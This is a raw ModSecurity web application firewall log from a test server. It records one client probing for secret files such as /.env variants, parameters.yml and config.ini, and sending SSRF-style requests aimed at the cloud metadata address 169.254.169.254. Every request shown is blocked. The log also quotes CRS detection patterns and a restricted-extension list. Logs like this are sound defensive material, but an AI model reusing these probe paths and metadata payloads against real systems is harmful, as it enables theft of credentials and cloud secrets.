[Tue Aug 05 11:03:34.399140 2025] [:error] [pid 1720187] [client 185.177.72.115:30050] [client 185.177.72.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=5,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/v1/proxy&quot;] [unique_id &quot;aJHI5oT2dZ5PqApOWJqKCQAAAAw&quot;]
[Tue Aug 05 11:03:34.562236 2025] [:error] [pid 1720187] [client 185.177.72.115:30050] [client 185.177.72.115] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /app/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/.env&quot;] [unique_id &quot;aJHI5oT2dZ5PqApOWJqKDQAAAAw&quot;]
[Tue Aug 05 11:03:34.562494 2025] [:error] [pid 1720187] [client 185.177.72.115:30050] [client 185.177.72.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/.env&quot;] [unique_id &quot;aJHI5oT2dZ5PqApOWJqKDQAAAAw&quot;]
[Tue Aug 05 11:03:34.562705 2025] [:error] [pid 1720187] [client 185.177.72.115:30050] [client 185.177.72.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/.env&quot;] [unique_id &quot;aJHI5oT2dZ5PqApOWJqKDQAAAAw&quot;]
[Tue Aug 05 11:03:34.602236 2025] [:error] [pid 1720187] [client 185.177.72.115:30050] [client 185.177.72.115] ModSecurity: Warning. Matched phrase &quot;/config/parameters.yml&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /config/parameters.yml found within REQUEST_FILENAME: /app/config/parameters.yml&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/config/parameters.yml&quot;] [unique_id &quot;aJHI5oT2dZ5PqApOWJqKDgAAAAw&quot;]
[Tue Aug 05 11:03:34.602487 2025] [:error] [pid 1720187] [client 185.177.72.115:30050] [client 185.177.72.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/config/parameters.yml&quot;] [unique_id &quot;aJHI5oT2dZ5PqApOWJqKDgAAAAw&quot;]
[Tue Aug 05 11:03:34.602673 2025] [:error] [pid 1720187] [client 185.177.72.115:30050] [client 185.177.72.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/config/parameters.yml&quot;] [unique_id &quot;aJHI5oT2dZ5PqApOWJqKDgAAAAw&quot;]
[Tue Aug 05 11:03:36.629517 2025] [:error] [pid 1720189] [client 185.177.72.115:18978] [client 185.177.72.115] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /application/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/application/.env&quot;] [unique_id &quot;aJHI6ATfs-xnRnhnFBwNvAAAAA4&quot;]
[Tue Aug 05 11:03:36.629774 2025] [:error] [pid 1720189] [client 185.177.72.115:18978] [client 185.177.72.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/application/.env&quot;] [unique_id &quot;aJHI6ATfs-xnRnhnFBwNvAAAAA4&quot;]
[Tue Aug 05 11:03:36.629952 2025] [:error] [pid 1720189] [client 185.177.72.115:18978] [client 185.177.72.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/application/.env&quot;] [unique_id &quot;aJHI6ATfs-xnRnhnFBwNvAAAAA4&quot;]
[Tue Aug 05 11:03:36.658889 2025] [:error] [pid 1720189] [client 185.177.72.115:18978] [client 185.177.72.115] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /apps/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/apps/.env&quot;] [unique_id &quot;aJHI6ATfs-xnRnhnFBwNvQAAAA4&quot;]
[Tue Aug 05 11:03:36.659111 2025] [:error] [pid 1720189] [client 185.177.72.115:18978] [client 185.177.72.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/apps/.env&quot;] [unique_id &quot;aJHI6ATfs-xnRnhnFBwNvQAAAA4&quot;]
[Tue Aug 05 11:03:36.659271 2025] [:error] [pid 1720189] [client 185.177.72.115:18978] [client 185.177.72.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/apps/.env&quot;] [unique_id &quot;aJHI6ATfs-xnRnhnFBwNvQAAAA4&quot;]
[Tue Aug 05 11:03:36.688235 2025] [:error] [pid 1720189] [client 185.177.72.115:18978] [client 185.177.72.115] ModSecurity: Warning. Pattern match &quot;^(?i:file|ftps?|https?):\\\\/\\\\/(?:\\\\d{1,3}\\\\.\\\\d{1,3}\\\\.\\\\d{1,3}\\\\.\\\\d{1,3})&quot; at ARGS:target. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-931-APPLICATION-ATTACK-RFI.conf&quot;] [line &quot;54&quot;] [id &quot;931100&quot;] [msg &quot;Possible Remote File Inclusion (RFI) Attack: URL Parameter using IP Address&quot;] [data &quot;Matched Data: http://169.254.169.254 found within ARGS:target: http://169.254.169.254/latest/meta-data/&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-rfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/RFI&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/aws-admin&quot;] [unique_id &quot;aJHI6ATfs-xnRnhnFBwNvgAAAA4&quot;]
[Tue Aug 05 11:03:36.688612 2025] [:error] [pid 1720189] [client 185.177.72.115:18978] [client 185.177.72.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/aws-admin&quot;] [unique_id &quot;aJHI6ATfs-xnRnhnFBwNvgAAAA4&quot;]
[Tue Aug 05 11:03:36.688785 2025] [:error] [pid 1720189] [client 185.177.72.115:18978] [client 185.177.72.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=5,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/aws-admin&quot;] [unique_id &quot;aJHI6ATfs-xnRnhnFBwNvgAAAA4&quot;]
[Tue Aug 05 11:03:36.717913 2025] [:error] [pid 1720189] [client 185.177.72.115:18978] [client 185.177.72.115] ModSecurity: Warning. Pattern match &quot;^(?i:file|ftps?|https?):\\\\/\\\\/(?:\\\\d{1,3}\\\\.\\\\d{1,3}\\\\.\\\\d{1,3}\\\\.\\\\d{1,3})&quot; at ARGS:url. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-931-APPLICATION-ATTACK-RFI.conf&quot;] [line &quot;54&quot;] [id &quot;931100&quot;] [msg &quot;Possible Remote File Inclusion (RFI) Attack: URL Parameter using IP Address&quot;] [data &quot;Matched Data: http://169.254.169.254 found within ARGS:url: http://169.254.169.254/latest/meta-data/&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-rfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/RFI&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/aws-api&quot;] [unique_id &quot;aJHI6ATfs-xnRnhnFBwNvwAAAA4&quot;]
[Tue Aug 05 11:03:36.718270 2025] [:error] [pid 1720189] [client 185.177.72.115:18978] [client 185.177.72.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/aws-api&quot;] [unique_id &quot;aJHI6ATfs-xnRnhnFBwNvwAAAA4&quot;]
[Tue Aug 05 11:03:36.718443 2025] [:error] [pid 1720189] [client 185.177.72.115:18978] [client 185.177.72.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=5,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/aws-api&quot;] [unique_id &quot;aJHI6ATfs-xnRnhnFBwNvwAAAA4&quot;]
[Tue Aug 05 11:03:36.899725 2025] [:error] [pid 1720189] [client 185.177.72.115:18978] [client 185.177.72.115] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /aws/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/aws/.env&quot;] [unique_id &quot;aJHI6ATfs-xnRnhnFBwNxQAAAA4&quot;]
[Tue Aug 05 11:03:36.899911 2025] [:error] [pid 1720189] [client 185.177.72.115:18978] [client 185.177.72.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/aws/.env&quot;] [unique_id &quot;aJHI6ATfs-xnRnhnFBwNxQAAAA4&quot;]
[Tue Aug 05 11:03:36.900050 2025] [:error] [pid 1720189] [client 185.177.72.115:18978] [client 185.177.72.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/aws/.env&quot;] [unique_id &quot;aJHI6ATfs-xnRnhnFBwNxQAAAA4&quot;]
[Tue Aug 05 11:03:36.928934 2025] [:error] [pid 1720189] [client 185.177.72.115:18978] [client 185.177.72.115] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /aws/.env.prod&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/aws/.env.prod&quot;] [unique_id &quot;aJHI6ATfs-xnRnhnFBwNxgAAAA4&quot;]
[Tue Aug 05 11:03:36.929097 2025] [:error] [pid 1720189] [client 185.177.72.115:18978] [client 185.177.72.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/aws/.env.prod&quot;] [unique_id &quot;aJHI6ATfs-xnRnhnFBwNxgAAAA4&quot;]
[Tue Aug 05 11:03:36.929237 2025] [:error] [pid 1720189] [client 185.177.72.115:18978] [client 185.177.72.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/aws/.env.prod&quot;] [unique_id &quot;aJHI6ATfs-xnRnhnFBwNxgAAAA4&quot;]
[Tue Aug 05 11:03:36.959125 2025] [:error] [pid 1720189] [client 185.177.72.115:18978] [client 185.177.72.115] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /aws/.env.ses&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/aws/.env.ses&quot;] [unique_id &quot;aJHI6ATfs-xnRnhnFBwNxwAAAA4&quot;]
[Tue Aug 05 11:03:36.959296 2025] [:error] [pid 1720189] [client 185.177.72.115:18978] [client 185.177.72.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/aws/.env.ses&quot;] [unique_id &quot;aJHI6ATfs-xnRnhnFBwNxwAAAA4&quot;]
[Tue Aug 05 11:03:36.959444 2025] [:error] [pid 1720189] [client 185.177.72.115:18978] [client 185.177.72.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/aws/.env.ses&quot;] [unique_id &quot;aJHI6ATfs-xnRnhnFBwNxwAAAA4&quot;]
[Tue Aug 05 11:03:37.480772 2025] [:error] [pid 1720189] [client 185.177.72.115:18978] [client 185.177.72.115] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.ini&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/aws/config.ini&quot;] [unique_id &quot;aJHI6QTfs-xnRnhnFBwN1AAAAA4&quot;]
[Tue Aug 05 11:03:37.481056 2025] [:error] [pid 1720189] [client 185.177.72.115:18978] [client 185.177.72.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/aws/config.ini&quot;] [unique_id &quot;aJHI6QTfs-xnRnhnFBwN1AAAAA4&quot;]
[Tue Aug 05 11:03:37.481215 2025] [:error] [pid 1720189] [client 185.177.72.115:18978] [client 185.177.72.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/aws/config.ini&quot;] [unique_id &quot;aJHI6QTfs-xnRnhnFBwN1AAAAA4&quot;]
[Tue Aug 05 11:03:38.563288 2025] [:error] [pid 1720189] [client 185.177.72.115:18978] [client 185.177.72.115] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /aws/s3/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/aws/s3/.env&quot;] [unique_id &quot;aJHI6gTfs-xnRnhnFBwN8AAAAA4&quot;]
